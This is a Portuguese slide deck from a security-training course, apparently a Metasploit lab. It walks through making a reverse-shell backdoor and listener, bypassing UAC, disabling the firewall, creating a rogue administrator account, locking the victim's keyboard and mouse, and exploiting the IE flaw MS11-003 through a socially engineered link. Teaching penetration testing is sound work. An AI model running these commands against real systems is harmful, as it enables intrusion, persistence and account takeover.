eSecurity

Treinamentos em Segurança da Informação

O que temos pra hoje?

Temas de Hoje:

- **Metasploit: Exercício**
  - Invadindo Windows 7
  - Utilizando outra maneira para ByPass UAC
  - Desativando Serviço de Firewall
  - Manipulando usuário
  - Explorando falha do IE

Metasploit

Metasploit: Invadindo Windows 7

O objetivo desta aula é realizar a manipulação de usuários e serviços dentro da máquina invadida.
É interessante realizar a invasão e obter acesso de autoridade de sistema antes de realizar os próximos passos.

Realizando o ataque:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.8 LPORT=4444 X > /var/www/backdoor.exe

Agora iniciaremos nosso metasploit em modo listener
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.0.18
set LPORT 4444
exploit

Não podemos esquecer do bypassuac

Metasploit: ByPass UAC

Após a realização da exploração, é necessário realizar o Bypass do UAC.
Iremos conhecer uma outra maneira de fazer isso.

Após efetuar o ataque, ao qual consta o Payload Meterpreter, vamos executar um outro exploit para nos auxiliar:

Para voltar ao msfconsole:
background
Utilizando o exploit:
use exploit/windows/local/bypassuac
Escolhendo a sessão ao qual quer explorar:
set SESSION 1
Exploitando:
exploit

Metasploit: Desativando FW e Serviços

Agora iremos descobrir como manipular arquivos, seja ele enviando, recebendo ou executando na máquina da vítima.

Desativar/Ativar o firewall

Na shell, execute o comando netsh advfirewall set allprofiles state off para desativar o firewall de todos os perfis(público, trabalho, privado).
Para reativa-lo, digite o comando netsh advfirewall set allprofiles state on

Desativar/Ativar os serviços do Windows

Use o comando net start para listar os serviços ativos
Com o comando net stop “nome do serviço” você pode parar o serviço corrente
Com o comando net start “nome do serviço” você pode iniciar o serviço

Criando regra para permissão de programas

netsh advfirewall firewall add rule name="Allow Messenger" dir=in action=allow program="C:\backdoor.exe"

Metasploit: Desativando FW e Serviços

7. Alterar a senha do administrador

a. Digite o comando *net user* para listar os usuários ativos

b. Através do comando *net user administrador 12345* você altera a senha do administrador para 12345

8. Criar usuário

a. Você poderá criar um usuário com o comando *net user usuario1 /add*

9. Adicionar usuário criado ao grupo Administrator

a. Com o comando *net localgroup administrators usuario1 /add*

10. Ativar usuário desabilitado

a. net user usuario1 /active:yes

11. Desativar o uso do teclado e mouse da vitima

a. Os comandos abaixo servem para desativar o teclado e mouse da vitima

uictl disable mouse

uictl disable keyboard

Metasploit: Explorando falha do IE

Não é de hoje que sabemos que o Internet Explorer é um navegador inseguro. Existe uma falha de segurança, ainda, pouco corrigida em várias empresas, que dá ao atacante a possibilidade de executar comandos arbitrários utilizando uma versão quase recente do Internet Explorer.

Essa vulnerabilidade afeta os seguintes sistemas operacionais:
Microsoft Windows XP
Windows Server 2003
Windows Vista
Windows Server 2008
Windows 7
Windows Server 2008 R2.

Ela é conhecida como MS11_003

Metasploit: Explorando falha do IE

Para explorar essa vulnerabilidade, é necessário executar os comandos abaixo:

```
msfconsole
use exploit/windows/browser/ms11_003_ie_css_import
use payload windows/meterpreter/reverse_tcp
set srvhost 192.168.0.18
set lhost 192.168.0.18
set srvport 8080
set uripath vídeos
```

É necessário o uso de engenharia social para fazer com que o usuário click no link fornecido pelo metasploit.

printf ("\Chega por hoje\n");

www.eSecurity.com.br

E-mail: alan.sanches@esecurity.com.br

Twitter: @esecuritybr e @desafiohacker

Skype: desafiohacker

Fanpage: www.facebook.com/academiahacker